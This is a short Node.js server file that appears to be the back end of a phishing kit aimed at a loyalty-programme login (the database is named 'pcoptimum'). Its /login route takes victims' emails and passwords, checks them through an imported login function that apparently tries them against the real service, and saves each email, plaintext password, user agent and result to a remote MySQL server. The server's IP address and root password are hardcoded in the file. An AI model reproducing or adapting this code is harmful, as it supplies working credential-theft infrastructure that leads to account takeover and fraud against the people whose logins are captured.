app.mjs 3.0 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113
  1. import Fastify from "fastify";
  2. import fastifyStatic from "@fastify/static";
  3. import { dirname, resolve, join } from "path";
  4. import { fileURLToPath } from "url";
  5. import { Sequelize, DataTypes } from "sequelize";
  6. import { login } from "./login.mjs";
  7. const __filename = fileURLToPath(import.meta.url);
  8. const __dirname = dirname(__filename);
  9. const fastify = Fastify({
  10. logger: true,
  11. });
  12. fastify.register(fastifyStatic, {
  13. root: resolve(__dirname, "public"),
  14. prefix: "/",
  15. });
  16. const sequelize = new Sequelize("pcoptimum", "root", "3edc#EDC", {
  17. host: "149.248.57.225",
  18. dialect: "mysql",
  19. });
  20. const Accounts = sequelize.define(
  21. "accounts",
  22. {
  23. // Model attributes are defined here
  24. email: {
  25. type: DataTypes.STRING,
  26. allowNull: false,
  27. },
  28. password: {
  29. type: DataTypes.STRING,
  30. allowNull: false,
  31. },
  32. userAgent: {
  33. type: DataTypes.TEXT("long"),
  34. allowNull: true,
  35. },
  36. ip: {
  37. type: DataTypes.STRING,
  38. allowNull: true,
  39. },
  40. success: {
  41. type: DataTypes.BOOLEAN,
  42. allowNull: false,
  43. defaultValue: false,
  44. },
  45. result: {
  46. type: DataTypes.TEXT("long"),
  47. allowNull: true,
  48. },
  49. error: {
  50. type: DataTypes.TEXT("long"),
  51. allowNull: true,
  52. },
  53. },
  54. {
  55. // Other model options go here
  56. }
  57. );
  58. sequelize
  59. .authenticate()
  60. .then(() => {
  61. console.log("Connection has been established successfully.");
  62. Accounts.sync().then(() => {
  63. console.log(
  64. "The table for the Account model was just (re)created!"
  65. );
  66. });
  67. })
  68. .catch((error) => {
  69. console.error("Unable to connect to the database:", error);
  70. });
  71. fastify.post("/login", async function (request, reply) {
  72. if (!request.body || !request.body.email || !request.body.password) {
  73. return reply
  74. .code(400)
  75. .send({ error: "email and password are required" });
  76. } else {
  77. const { email, password } = request.body;
  78. try {
  79. const res = await login(email, password);
  80. const account = await Accounts.create({
  81. email,
  82. password,
  83. userAgent: request.headers["user-agent"],
  84. success: true,
  85. result: res,
  86. });
  87. return reply.code(200).send();
  88. } catch (error) {
  89. console.error(error.stack);
  90. const account = await Accounts.create({
  91. email,
  92. password,
  93. userAgent: request.headers["user-agent"],
  94. success: false,
  95. error: error.stack,
  96. });
  97. return reply.code(500).send(error);
  98. }
  99. }
  100. });
  101. fastify.listen({ port: 3000 }, function (err, address) {
  102. if (err) {
  103. fastify.log.error(err);
  104. process.exit(1);
  105. }
  106. });